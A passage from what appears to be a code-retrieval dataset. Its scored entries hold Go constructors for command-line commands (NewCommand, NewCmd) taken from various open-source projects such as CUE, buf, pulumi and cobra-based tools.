bool, env map[string]string, args ...string) (*Cmd, error) {\n\tif xvfb {\n\t\targs = append([]string{\"-a\", exe}, args...)\n\t\texe = \"/usr/bin/xvfb-run\"\n\t}\n\tcmd := exec.Command(exe, args...)\n\tif env != nil {\n\t\tcmd.Env = cmdhelper.BulkUpdateEnv(os.Environ(), env)\n\t}\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\n\treturn &Cmd{\n\t\tBase: NewBase(name, d),\n\t\tcmd: cmd,\n\t\tdone: make(chan interface{}),\n\t}, nil\n}", "title": "" }, { "docid": "21a756437c78fb207dcb82109d08302d", "score": "0.7052324", "text": "func NewCmd() *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse: \"serve\",\n\t\tShort: \"serve instantiates a crawler\",\n\t\tRun: Run,\n\t}\n}", "title": "" }, { "docid": "0a74df9faa82d19a8dc7692f36350a52", "score": "0.7047717", "text": "func NewCmd() cmd.Interface {\n\tclockReal := &clock.Real{}\n\tstdin := _wireFileValue\n\tstdout := _wireOsFileValue\n\tloggerInterface := logger.New()\n\tbrowserBrowser := &browser.Browser{}\n\tcmdInterface := NewCmdForHeadless(clockReal, stdin, stdout, loggerInterface, browserBrowser)\n\treturn cmdInterface\n}", "title": "" }, { "docid": "16d7b947b41a33f193a8545f44c5ae97", "score": "0.7033999", "text": "func New(cmd string, args ...string) *Command {\n\treturn NewWithWorkDir(\"\", cmd, args...)\n}", "title": "" }, { "docid": "ecbf9418fb8f69bd930bb29830560065", "score": "0.7017058", "text": "func NewCommand(\n\tname string,\n\tbuilder appflag.Builder,\n) *appcmd.Command {\n\tflags := newFlags()\n\treturn &appcmd.Command{\n\t\tUse: name + \" <buf.build/owner/\" + bufplugin.TemplatesPathName + \"/template>\",\n\t\tShort: \"Create a new template version.\",\n\t\tArgs: cobra.ExactArgs(1),\n\t\tRun: builder.NewRunFunc(\n\t\t\tfunc(ctx context.Context, container appflag.Container) error {\n\t\t\t\treturn run(ctx, container, flags)\n\t\t\t},\n\t\t\tbufcli.NewErrorInterceptor(),\n\t\t),\n\t\tBindFlags: flags.Bind,\n\t}\n}", "title": "" }, { "docid": "34abdc52b59769356421599fd8d612ba", "score": "0.70091957", "text": "func NewCommand(n, d string, h func(Context)) Command {\n\treturn &textCommand{\n\t\tname: n,\n\t\tdescription: d,\n\t\trun: h,\n\t}\n}", "title": "" }, { "docid": "2696d326c6e4389989901362f8a63d4a", "score": "0.70072687", "text": "func NewCommand(name string, index int, arguments []protocol.RedisObject) (Command, error) {\n\tlock.RLock()\n\tdefer lock.RUnlock()\n\n\t// normalize to lower command name\n\tname = strings.ToLower(name)\n\n\tfn, ok := keyMap[name]\n\tif !ok {\n\t\treturn nil, ErrCommandNotExist\n\t}\n\n\treturn fn(name, index, arguments)\n}", "title": "" }, { "docid": "12618ae1157d4d87a7bbdcf502cd9106", "score": "0.6975945", "text": "func NewCommand(ctx *pulumi.Context,\n\tname string, args *CommandArgs, opts ...pulumi.ResourceOption) (*Command, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.Commands == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'Commands'\")\n\t}\n\tvar resource Command\n\terr := ctx.RegisterResource(\"f5bigip:index/command:Command\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "eac65d0c094f49d37781b0770d589886", "score": "0.6971594", "text": "func (sp *ShellPlugin) NewCommand(cmdName string) (plugin.Command, error) {\n\tif cmdName == TrackCmd {\n\t\treturn &TrackCommand{}, nil\n\t} else if cmdName == CleanupCmd {\n\t\treturn &CleanupCommand{}, nil\n\t} else if cmdName == ShellExecCmd {\n\t\treturn &ShellExecCommand{}, nil\n\t}\n\treturn nil, errors.Errorf(\"no such command: %v\", cmdName)\n}", "title": "" }, { "docid": "1934027197ca6d793d90a9d9f420b8e5", "score": "0.69636583", "text": "func (env *Environment) NewCommand(command string, args ...interface{}) *EnvironmentCommand {\n\tvmCmd := env.NewEmptyCommand()\n\tvmCmd.CommandLines = []string{\n\t\tformatCommand(command, args...),\n\t}\n\treturn vmCmd\n}", "title": "" }, { "docid": "06dfc033c93de24b26bbc6860b17139d", "score": "0.69632924", "text": "func newCmdCmd(c *Command) *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse: \"cmd <name> [-x] [instances]\",\n\t\tShort: \"run a user-defined shell command\",\n\t\tLong: `cmd executes defined the named command for each of the named instances.\n\nCommands define actions on instances. For example, they may specify\nhow to upload a configuration to Kubernetes. Commands are defined\ndirectly in tool files, which are regular CUE files within the same\npackage with a filename ending in _tool.cue. These are typically\ndefined at the top of the module root so that they apply to all\ninstances.\n\nEach command consists of one or more tasks. A task may load or write\na file, consult a user on the command line, fetch a web page, and\nso on. Each task has inputs and outputs. Outputs are typically are\nfilled out by the task implementation as the task completes.\n\nInputs of tasks my refer to outputs of other tasks. The cue tool does\na static analysis of the configuration and only starts tasks that are\nfully specified. Upon completion of each task, cue rewrites the instance,\nfilling in the completed task, and reevaluates which other tasks can\nnow start, and so on until all tasks have completed.\n\nCommands are defined at the top-level of the configuration:\n\n\tcommand: [Name=string]: { // from tool.Command\n\t\t// usage gives a short usage pattern of the command.\n\t\t// Example:\n\t\t// fmt [-n] [-x] [packages]\n\t\tusage?: Name | string\n\n\t\t// short gives a brief on-line description of the command.\n\t\t// Example:\n\t\t// reformat package sources\n\t\tshort?: string\n\n\t\t// long gives a detailed description of the command, including a\n\t\t// description of flags usage and examples.\n\t\tlong?: string\n\n\t\t// A task defines a single action to be run as part of this command.\n\t\t// Each task can have inputs and outputs, depending on the type\n\t\t// task. The outputs are initially unspecified, but are filled out\n\t\t// by the tooling\n\t\ttask: [string]: { // from \"tool\".Task\n\t\t\t// supported fields depend on type\n\t\t}\n\n\t\tVarValue = string | bool | int | float | [...string|int|float]\n\n\t\t// var declares values that can be set by command line flags or\n\t\t// environment variables.\n\t\t//\n\t\t// Example:\n\t\t// // environment to run in\n\t\t// var env: \"test\" | \"prod\"\n\t\t// The tool would print documentation of this flag as:\n\t\t// Flags:\n\t\t// --env string environment to run in: test(default) or prod\n\t\tvar: [string]: VarValue\n\n\t\t// flag defines a command line flag.\n\t\t//\n\t\t// Example:\n\t\t// var env: \"test\" | \"prod\"\n\t\t//\n\t\t// // augment the flag information for var\n\t\t// flag env: {\n\t\t// shortFlag: \"e\"\n\t\t// description: \"environment to run in\"\n\t\t// }\n\t\t//\n\t\t// The tool would print documentation of this flag as:\n\t\t// Flags:\n\t\t// -e, --env string environment to run in: test(default), staging, or prod\n\t\t//\n\t\tflag [Name=_]: { // from \"tool\".Flag\n\t\t\t// value defines the possible values for this flag.\n\t\t\t// The default is string. Users can define default values by\n\t\t\t// using disjunctions.\n\t\t\tvalue: *env[Name].value | VarValue\n\n\t\t\t// name, if set, allows var to be set with the command-line flag\n\t\t\t// of the given name. null disables the command line flag.\n\t\t\tname?: *Name | string\n\n\t\t\t// short defines an abbreviated version of the flag.\n\t\t\t// Disabled by default.\n\t\t\tshort?: string\n\t\t}\n\n\t\t// populate flag with the default values for\n\t\tfor k, v in var {\n\t\t\tflag: { \"\\(k)\": { value: v } | null }\n\t\t}\n\n\t\t// env defines environment variables. It is populated with values\n\t\t// for var.\n\t\t//\n\t\t// To specify a var without an equivalent environment variable,\n\t\t// either specify it as a flag directly or disable the equally\n\t\t// named env entry explicitly:\n\t\t//\n\t\t// var foo: string\n\t\t// env foo: null // don't use environment variables for foo\n\t\t//\n\t\tenv: [Name=_]: {\n\t\t\t// name defines the environment variable that sets this flag.\n\t\t\tname?: *\"CUE_VAR_\" + strings.Upper(Name) | string\n\n\t\t\t// The value retrieved from the environment variable or null\n\t\t\t// if not set.\n\t\t\tvalue?: string | bytes\n\t\t}\n\t\tenv: {\n\t\t\tfor k, v in var {\n\t\t\t\t\"\\(k)\": { value: v } | null\n\t\t\t}\n\t\t}\n\t}\n\nAvailable tasks can be found in the package documentation at\n\n\thttps://godoc.org/cuelang.org/go/pkg/tool\n\nMore on tasks can be found in the tasks topic.\n\nExamples:\n\nA simple file using command line execution:\n\n\t$ cat <<EOF > hello_tool.cue\n\tpackage foo\n\n\timport \"tool/exec\"\n\n\tcity: \"Amsterdam\"\n\n\t// Say hello!\n\tcommand: hello: {\n\t\t// whom to say hello to\n\t\tvar: who: *\"World\" | string\n\n\t\ttask: print: exec.Run & {\n\t\t\tcmd: \"echo Hello \\(var.who)! Welcome to \\(city).\"\n\t\t}\n\t}\n\tEOF\n\n\t$ cue cmd echo\n\tHello World! Welcome to Amsterdam.\n\n\t$ cue cmd echo -who you\n\tHello you! Welcome to Amsterdam.\n\n\nAn example using pipes:\n\n\tpackage foo\n\n\timport \"tool/exec\"\n\n\tcity: \"Amsterdam\"\n\n\t// Say hello!\n\tcommand: hello: {\n\t\tvar: file: \"out.txt\" | string // save transcript to this file\n\n\t\ttask: ask: cli.Ask & {\n\t\t\tprompt: \"What is your name?\"\n\t\t\tresponse: string\n\t\t}\n\n\t\t// starts after ask\n\t\ttask: echo: exec.Run & {\n\t\t\tcmd: [\"echo\", \"Hello\", task.ask.response + \"!\"]\n\t\t\tstdout: string // capture stdout\n\t\t}\n\n\t\t// starts after echo\n\t\ttask: write: file.Append & {\n\t\t\tfilename: var.file\n\t\t\tcontents: task.echo.stdout\n\t\t}\n\n\t\t// also starts after echo\n\t\ttask: print: cli.Print & {\n\t\t\tcontents: task.echo.stdout\n\t\t}\n\t}\n\n`,\n\t\tRunE: mkRunE(c, func(cmd *Command, args []string) error {\n\t\t\tw := cmd.Stderr()\n\t\t\tif len(args) == 0 {\n\t\t\t\tfmt.Fprintln(w, \"cmd must be run as one of its subcommands\")\n\t\t\t} else {\n\t\t\t\tconst msg = `cmd must be run as one of its subcommands: unknown subcommand %q\nEnsure commands are defined in a \"_tool.cue\" file.\n`\n\t\t\t\tfmt.Fprintf(w, msg, args[0])\n\t\t\t}\n\t\t\tfmt.Fprintln(w, \"Run 'cue help cmd' for known subcommands.\")\n\t\t\tos.Exit(1) // TODO: get rid of this\n\t\t\treturn nil\n\t\t}),\n\t}\n}", "title": "" }, { "docid": "2c7b21e700c4e018df71a135d7222527", "score": "0.69204426", "text": "func NewCmd() tinycli.Cmd {\n\ttarsPath := consts.TarsPath\n\t// default\n\tsvrConf := defaultServerConf()\n\tconfPath := filepath.Join(tarsPath, \"bin\", consts.ServerMetaFile)\n\tif err := parseServerConf(confPath, &svrConf); err != nil {\n\t\t// log.Errorf(\"ParseServerConf error %v\", err)\n\t}\n\treturn &genConfCmd{svrConf: svrConf}\n}", "title": "" }, { "docid": "3ec2e025c41fe32a0e17cf85c14d38e9", "score": "0.6914532", "text": "func (s Manifest_Action) NewCommand() (Manifest_Command, error) {\n\tss, err := NewManifest_Command(s.Struct.Segment())\n\tif err != nil {\n\t\treturn Manifest_Command{}, err\n\t}\n\terr = s.Struct.SetPtr(1, ss.Struct.ToPtr())\n\treturn ss, err\n}", "title": "" }, { "docid": "3ec2e025c41fe32a0e17cf85c14d38e9", "score": "0.6914532", "text": "func (s Manifest_Action) NewCommand() (Manifest_Command, error) {\n\tss, err := NewManifest_Command(s.Struct.Segment())\n\tif err != nil {\n\t\treturn Manifest_Command{}, err\n\t}\n\terr = s.Struct.SetPtr(1, ss.Struct.ToPtr())\n\treturn ss, err\n}", "title": "" }, { "docid": "8a1762cdcd4cd3fba8946b40bfda6112", "score": "0.6912743", "text": "func (s Conmon_ExecSyncContainerRequest) NewCommand(n int32) (capnp.TextList, error) {\n\tl, err := capnp.NewTextList(capnp.Struct(s).Segment(), n)\n\tif err != nil {\n\t\treturn capnp.TextList{}, err\n\t}\n\terr = capnp.Struct(s).SetPtr(1, l.ToPtr())\n\treturn l, err\n}", "title": "" }, { "docid": "c6c3cac5df1184a46dc06806802cb391", "score": "0.69120663", "text": "func NewCommand() *Command {\n\treturn &Command{\n\t\tclosing: make(chan struct{}),\n\t\tClosed: make(chan struct{}),\n\t\tStdin: os.Stdin,\n\t\tStdout: os.Stdout,\n\t\tStderr: os.Stderr,\n\t\tLogger: zap.NewNop(),\n\t}\n}", "title": "" }, { "docid": "27441d6c4105dc652848e66233007d8f", "score": "0.6911267", "text": "func New() *cobra.Command {\n\tvar app app.App\n\tcmd := newRootCmd(&app)\n\tsetCoreCmd(cmd.Command, &app)\n\treturn cmd.Command\n}", "title": "" }, { "docid": "db4245fd9d433e9451ff28c6a282393b", "score": "0.6901785", "text": "func NewCommand(id string, sb SubCommand) *Command {\n\treturn &Command{sb, id, sb.getAction()}\n}", "title": "" }, { "docid": "92478d2e78d996106525f7472bd132a2", "score": "0.6897473", "text": "func NewCmd() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"config:init\",\n\t\tShort: \"Generate a fresh config in the current directory\",\n\t\tRun: runCmd(),\n\t}\n\n\treturn cmd\n}", "title": "" }, { "docid": "a12a969e97072498b5236bafeb70c1fb", "score": "0.6866223", "text": "func NewCommand() *cobra.Command {\n\tflags := &flags{}\n\tcmd := &cobra.Command{\n\t\t// TODO(bentheelder): more detailed usage\n\t\tUse: \"create\",\n\t\tShort: \"Creates a cluster\",\n\t\tLong: \"Creates a Kubernetes cluster\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\trun(flags, cmd, args)\n\t\t},\n\t}\n\tcmd.Flags().StringVar(&flags.Name, \"name\", \"1\", \"the cluster name\")\n\tcmd.Flags().StringVar(&flags.Config, \"config\", \"\", \"path to create config file\")\n\treturn cmd\n}", "title": "" }, { "docid": "d78a29f2c0e517460801ea9f3fb1d30f", "score": "0.6848385", "text": "func New(name string, a ...string) *Command {\n\tdefer Unlock()\n\tLock()\n\n\tx := new(Command)\n\tx.Name = name\n\n\tif _, has := Register[name]; has && name != \"help\" && name != \"version\" {\n\t\tname = name + \"_\"\n\t}\n\tRegister[name] = x\n\n\tif len(a) > 1 {\n\t\tx.Add(a...)\n\t\tx.Default = a[0]\n\t}\n\tx.Add(\"help\", \"version\")\n\n\tx.Other = map[string]interface{}{}\n\n\treturn x\n}", "title": "" }, { "docid": "3b2132cf977cb0d513f2f11546f5522c", "score": "0.68263936", "text": "func NewDBCmd() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"db\",\n\t\tShort: \"this is the short description for the db subcommand\",\n\t\tLong: `this is the long description for the db subcommand`,\n\t}\n\tcmd.AddCommand(\n\t\tNewCreateCmd(),\n\t)\n\tflags := cmd.PersistentFlags()\n\tflags.String(\"db\", \"\", \"the name of the db\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "fb3c774db186b4f2c7e9c7bcab393db8", "score": "0.68223286", "text": "func GetCmdCreate(cdc *codec.Codec) *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse: \"create [definition]\",\n\t\tShort: \"Create a new execution\",\n\t\tArgs: cobra.ExactArgs(1),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tinBuf := bufio.NewReader(cmd.InOrStdin())\n\t\t\tcliCtx := context.NewCLIContext().WithCodec(cdc)\n\n\t\t\ttxBldr := auth.NewTxBuilderFromCLI(inBuf).WithTxEncoder(utils.GetTxEncoder(cdc))\n\n\t\t\tif cliCtx.FromAddress.Empty() {\n\t\t\t\treturn fmt.Errorf(\"flag --from is required\")\n\t\t\t}\n\n\t\t\trawMsg := fmt.Sprintf(`{\"type\":\"execution/create\",\"value\":%s}`, args[0])\n\t\t\tvar msg types.MsgCreate\n\t\t\tif err := cdc.UnmarshalJSON([]byte(rawMsg), &msg); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif !msg.Signer.Empty() && !msg.Signer.Equals(cliCtx.FromAddress) {\n\t\t\t\treturn fmt.Errorf(\"the signer set in the definition is not the same as the from flag\")\n\t\t\t}\n\t\t\tmsg.Signer = cliCtx.FromAddress\n\t\t\tif err := msg.ValidateBasic(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\treturn utils.GenerateOrBroadcastMsgs(cliCtx, txBldr, []sdk.Msg{msg})\n\t\t},\n\t}\n}", "title": "" }, { "docid": "b5563ace3baaf336a731b0dad9165628", "score": "0.6811189", "text": "func New() *cobra.Command {\n\trootCmd := &cobra.Command{Use: \"fine\"}\n\trootCmd.AddCommand(\n\t\tformula.CreateCommand(),\n\t\tcalc.CreateCommand(),\n\t)\n\n\treturn rootCmd\n}", "title": "" }, { "docid": "6ce59581c2154f9d032443abcb41df6b", "score": "0.67985255", "text": "func NewCmd() tinycli.Cmd {\n\treturn &hzCheckCmd{}\n}", "title": "" }, { "docid": "4a897df299bddd73d630db9a8b289925", "score": "0.6792952", "text": "func NewCommand(at string, timeout time.Duration) *Command {\n\treturn &Command{\n\t\tAT: at,\n\t\tTimeout: opt.Duration{Duration: timeout},\n\t}\n}", "title": "" }, { "docid": "ee7d4deeb8121a448c47d7310f66ec07", "score": "0.678963", "text": "func NewCmd() *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse: \"version\",\n\t\tShort: \"Prints the version number of tool\",\n\t\tLong: \"All software has versions. This is ours\",\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tPrintVersion()\n\n\t\t\treturn nil\n\t\t},\n\t}\n}", "title": "" }, { "docid": "91d7de30e9c47914a5e2028bbe743062", "score": "0.67785114", "text": "func (o *Command) NewCommand(name string, description string) *Command {\n\tc := new(Command)\n\tc.name = name\n\tc.description = description\n\tc.parsed = false\n\tc.parent = o\n\tif !disableHelp {\n\t\tc.help(\"h\", \"help\")\n\t\tc.exitOnHelp = true\n\t\tc.HelpFunc = (*Command).Usage\n\t}\n\n\tif o.commands == nil {\n\t\to.commands = make([]*Command, 0)\n\t}\n\n\to.commands = append(o.commands, c)\n\n\treturn c\n}", "title": "" }, { "docid": "54ab8b0206700ace991ab9bb530d8dd2", "score": "0.67734504", "text": "func NewCommand(client *twitch.Client, twitchChannel string) *Command {\n\tproject = \"programming\"\n\tstartTime = time.Now()\n\tchannel = twitchChannel\n\tcommandMap = map[string]fn{\n\t\t\"time\": getTime,\n\t\t\"project\": getProject,\n\t\t\"setproject\": setProject,\n\t\t\"8ball\": eightball,\n\t\t\"uptime\": uptime,\n\t\t\"poll\": makePoll,\n\t\t\"vote\": votePoll,\n\t\t\"options\": optionsPoll,\n\t\t\"github\": github,\n\t\t\"commands\": getCommands,\n\t}\n\treturn &Command{client, channel}\n}", "title": "" }, { "docid": "2596f900bd7cd8f2193910cddfe3067f", "score": "0.6765801", "text": "func newVersionCmd() *cobra.Command {\n\tversionCmd := &cobra.Command{\n\t\tUse: \"version\",\n\t\tShort: \"Print the version number of \" + Name,\n\t\tLong: \"Print the version number of \" + Name,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tcui.OutputErrln(fmt.Sprintf(\"%s %s\", Name, Version))\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn versionCmd\n}", "title": "" }, { "docid": "b38fafc3f20e7d351899525e94afd866", "score": "0.6764437", "text": "func NewCommand(command, chanName string) *Command {\n\treturn &Command{\n\t\tCommand: command,\n\t\tIdentifier: Identifier{\n\t\t\tChannel: chanName,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "5f079aa9921c3acffe0b58e89ecd2383", "score": "0.6762242", "text": "func New(logger dynamodbcopy.Logger) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: fmt.Sprintf(\"%s <source-table> <target-table>\", cmdName),\n\t\tShort: shortDescription,\n\t\tArgs: cobra.ExactArgs(2),\n\t\tRunE: runHandler(logger),\n\t}\n\n\tbindFlags(cmd.Flags())\n\n\treturn cmd\n}", "title": "" }, { "docid": "a8baaf454fe83981bd545b15eef5358f", "score": "0.6759799", "text": "func NewCommand() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"etcd\",\n\t\tShort: \"etcd commands\",\n\t}\n\tcmd.PersistentFlags().StringVarP(&path, \"path\", \"p\", \"\", \"etcd test configuration file path\")\n\tcmd.AddCommand(\n\t\tnewTest(),\n\t\tnewCreate(),\n\t\tnewDelete(),\n\t)\n\treturn cmd\n}", "title": "" }, { "docid": "85d67c939a750a2622c69c9be37018c3", "score": "0.67569613", "text": "func CreateCommand(input string) *exec.Cmd{\n items := strings.Fields(input)\n command := items[0]\n args := items[1:]\n if len(args)>0{\n fmt.Printf(\"creating %s command \\n\", input)\n } else {\n fmt.Printf(\"creating %s command \\n\", input)\n }\n cmd := exec.Command(command, args...)\n return cmd\n}", "title": "" }, { "docid": "96697574938231ac0c7a730714e1d226", "score": "0.67503995", "text": "func newCommand(opts *ProcessOptions) *exec.Cmd {\n\tcmd := exec.Command(opts.Name, opts.Args...)\n\tcmd.Env = opts.Env\n\tcmd.Dir = opts.Dir\n\tcmd.ExtraFiles = opts.ExtraFiles\n\tcmd.SysProcAttr = opts.SysProcAttr\n\treturn cmd\n}", "title": "" }, { "docid": "3e65f9ba47391efc897333fc8165d5c3", "score": "0.6737808", "text": "func newDeleteCmd() *cobra.Command {\n\to := newDeleteOptions()\n\n\tcmd := &cobra.Command{\n\t\tUse: deleteUsageStr,\n\t\tShort: \"delete will delete the cluster of given name\",\n\t\tLong: ``,\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\terr := validate(args, deleteUsageErrStr)\n\t\t\tif err != nil {\n\t\t\t\tcmd.PrintErrln(err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\tif len(args) > 0 {\n\t\t\t\to.ClusterName = args[0]\n\t\t\t\terr := deleteCluster(*o)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcmd.PrintErrln(\"Oops, got error while deleting cluster:\", err)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t}\n\n\to.addFlags(cmd)\n\treturn cmd\n}", "title": "" }, { "docid": "52348e85db9f6ed3740dc4498576357e", "score": "0.67365116", "text": "func NewCreateCommand(parent cmd.Registerer, g *global.Data, m manifest.Data) *CreateCommand {\n\tc := CreateCommand{\n\t\tBase: cmd.Base{\n\t\t\tGlobals: g,\n\t\t},\n\t\tmanifest: m,\n\t}\n\n\tc.CmdClause = parent.Command(\"create\", \"Create a new config store item\").Alias(\"insert\")\n\n\t// Required.\n\tc.RegisterFlag(cmd.StringFlagOpts{\n\t\tName: \"key\",\n\t\tShort: 'k',\n\t\tDescription: \"Item name\",\n\t\tDst: &c.input.Key,\n\t\tRequired: true,\n\t})\n\tc.RegisterFlag(cmd.StoreIDFlag(&c.input.StoreID)) // --store-id\n\n\t// One of these must be set.\n\tc.RegisterFlagBool(cmd.BoolFlagOpts{\n\t\tName: \"stdin\",\n\t\tDescription: \"Read item value from STDIN. If set, --value will be ignored\",\n\t\tDst: &c.stdin,\n\t\tRequired: false,\n\t})\n\tc.RegisterFlag(cmd.StringFlagOpts{\n\t\tName: \"value\",\n\t\tDescription: \"Item value. Required unless --stdin is set\",\n\t\tDst: &c.input.Value,\n\t\tRequired: false,\n\t})\n\n\t// Optional.\n\tc.RegisterFlagBool(c.JSONFlag()) // --json\n\n\treturn &c\n}", "title": "" }, { "docid": "9f596d95d49972b83197b784f20bde21", "score": "0.6719433", "text": "func NewCommand(logger logger.Interface) *cli.Command {\n\tc := command{\n\t\tlogger: logger,\n\t}\n\treturn c.build()\n}", "title": "" }, { "docid": "9f596d95d49972b83197b784f20bde21", "score": "0.6719433", "text": "func NewCommand(logger logger.Interface) *cli.Command {\n\tc := command{\n\t\tlogger: logger,\n\t}\n\treturn c.build()\n}", "title": "" }, { "docid": "9f596d95d49972b83197b784f20bde21", "score": "0.6719433", "text": "func NewCommand(logger logger.Interface) *cli.Command {\n\tc := command{\n\t\tlogger: logger,\n\t}\n\treturn c.build()\n}", "title": "" }, { "docid": "9db0535f279b9dbfd68dd94666615a23", "score": "0.67090714", "text": "func NewCommand() *cobra.Command {\n\tvar c = &cobra.Command{\n\t\tUse: \"auth\",\n\t\tShort: \"Manage Glass Factory authentication credentials.\",\n\t}\n\tc.AddCommand(NewLoginCommand())\n\treturn c\n}", "title": "" }, { "docid": "8737d79421f7eac0034319627a21d500", "score": "0.6707277", "text": "func New(name, usage string, examples ...string) *BaseCommand {\n\treturn &BaseCommand{\n\t\tcobra: &cobra.Command{\n\t\t\tUse: name,\n\t\t\tShort: usage,\n\t\t\tExample: strings.Join(examples, \"\\n\"),\n\t\t},\n\t}\n}", "title": "" }, { "docid": "0babe4eadbccd11ad8bee1b6beb5cf67", "score": "0.67014277", "text": "func NewCmd(cmFlags *genericclioptionscm.CMFlags, streams genericclioptions.IOStreams) (cmd *cobra.Command) {\n\to := newOptions(cmFlags, streams)\n\tcmd = &cobra.Command{\n\t\tUse: \"version\",\n\t\tShort: \"get the versions of the different components\",\n\t\tExample: fmt.Sprintf(example, helpers.GetExampleHeader()),\n\t\tSilenceUsage: true,\n\t\tPreRunE: func(c *cobra.Command, args []string) error {\n\t\t\tif !helpers.IsRHACM(cmFlags.KubectlFactory) && !helpers.IsMCE(cmFlags.KubectlFactory) {\n\t\t\t\treturn fmt.Errorf(\"this command '%s %s' is only available on %s or %s\",\n\t\t\t\t\thelpers.GetExampleHeader(),\n\t\t\t\t\tstrings.Join(os.Args[1:], \" \"),\n\t\t\t\t\thelpers.RHACM,\n\t\t\t\t\thelpers.MCE)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t\tRunE: func(c *cobra.Command, args []string) error {\n\t\t\tif err := o.complete(c, args); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := o.validate(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := o.run(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn cmd\n}", "title": "" }, { "docid": "258e2944b811ca13ad5bab1bd78a49d7", "score": "0.6695141", "text": "func NewQueryCmd() *cobra.Command {\n\t// Group noding queries under a subcommand\n\tnodingQueryCmd := &cobra.Command{\n\t\tUse: types.ModuleName,\n\t\tAliases: []string{\"n\"},\n\t\tShort: fmt.Sprintf(\"Querying commands for the %s module\", types.ModuleName),\n\t\tDisableFlagParsing: true,\n\t\tSuggestionsMinimumDistance: 2,\n\t\tRunE: client.ValidateCmd,\n\t}\n\n\tnodingQueryCmd.AddCommand(\n\t\tcmdInfo(),\n\t\tcmdState(),\n\t\tcmdProposer(),\n\t\tcmdIsAllowed(),\n\t\tcmdOperator(),\n\t\tutil.LineBreak(),\n\t\tcmdSwitchedOn(),\n\t\tcmdQueue(),\n\t\tutil.LineBreak(),\n\t\tcmdParams(),\n\t)\n\n\treturn nodingQueryCmd\n}", "title": "" }, { "docid": "e80b0c2ed6079552c8608694e5889545", "score": "0.66840464", "text": "func NewCommand(ctx context.Context) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"create-go-app\",\n\t\tShort: \"Generate skeleton for a Go project\",\n\t\tExample: `\n* Basic usage:\n create-go-app init golang_sample --mod github.com/user/golang_sample\n\n\n* Generate CLI skeleton:\n create-go-app cli-init golang_cli_sample --mod github.com/user/golang_cli_sample\n`,\n\t}\n\n\t// register sub command of `create-go-app` command.\n\tcmd.AddCommand(\n\t\tnewInitCommand(ctx),\n\t\tnewInitCLICommand(ctx),\n\t)\n\n\treturn cmd\n}", "title": "" }, { "docid": "e30304706f52ecb7be39410ae38b8926", "score": "0.66681683", "text": "func NewCommand() *cobra.Command {\n\n\t// This represents the base command when called without any subcommands\n\trootCmd := &cobra.Command{\n\t\tUse: viper.ServiceName,\n\t\tShort: viper.ServiceDescription,\n\t\tVersion: viper.Version,\n\t\t// Uncomment the following line if your bare application\n\t\t// has an action associated with it:\n\t\t//Run: func(cmd *cobra.Command, args []string) {},\n\t}\n\trootCmd.AddCommand(version.New())\n\trootCmd.AddCommand(deploy.New())\n\trootCmd.AddCommand(migrate.New())\n\trootCmd.AddCommand(serve.New())\n\n\t// Cobra also supports local flags, which will only run\n\t// when this action is called directly.\n\t//rootCmd.Flags().BoolP(\"toggle\", \"t\", false, \"Help message for toggle\")\n\n\tcobra.OnInitialize(func() {})\n\n\treturn rootCmd\n}", "title": "" }, { "docid": "ac6a4f812268ba72f970599931d05de2", "score": "0.66625863", "text": "func NewCommand(\n\tname string,\n\tbuilder appflag.Builder,\n) *appcmd.Command {\n\tflags := newFlags()\n\treturn &appcmd.Command{\n\t\tUse: name + \" <input>\",\n\t\tShort: \"List all Protobuf files for the input.\",\n\t\tLong: bufcli.GetInputLong(`the source, module, or image to list from`),\n\t\tArgs: cobra.MaximumNArgs(1),\n\t\tRun: builder.NewRunFunc(\n\t\t\tfunc(ctx context.Context, container appflag.Container) error {\n\t\t\t\treturn run(ctx, container, flags)\n\t\t\t},\n\t\t\tbufcli.NewErrorInterceptor(),\n\t\t),\n\t\tBindFlags: flags.Bind,\n\t}\n}", "title": "" }, { "docid": "912d8eace69f3b62a728b3d76fad04d0", "score": "0.6637692", "text": "func NewCommand() *cobra.Command {\n\tflagSet := flag.NewFlagSet(huaweiCSIService, flag.ContinueOnError)\n\tif err := flagSet.Parse(os.Args); err != nil {\n\t\tlogrus.Fatalf(\"Parse flag error: %v\", err)\n\t}\n\n\treturn commandFunc(flagSet)\n}", "title": "" }, { "docid": "a8402cbbb0ca331610e866763940646d", "score": "0.66326743", "text": "func NewCommand(logger *log.Logger, db store.Store) commands.Command {\n\treturn &command{\n\t\tlog: logger,\n\t\tclient: &http.Client{\n\t\t\tCheckRedirect: func(request *http.Request, via []*http.Request) error {\n\t\t\t\treturn http.ErrUseLastResponse\n\t\t\t},\n\t\t},\n\t\tdb: 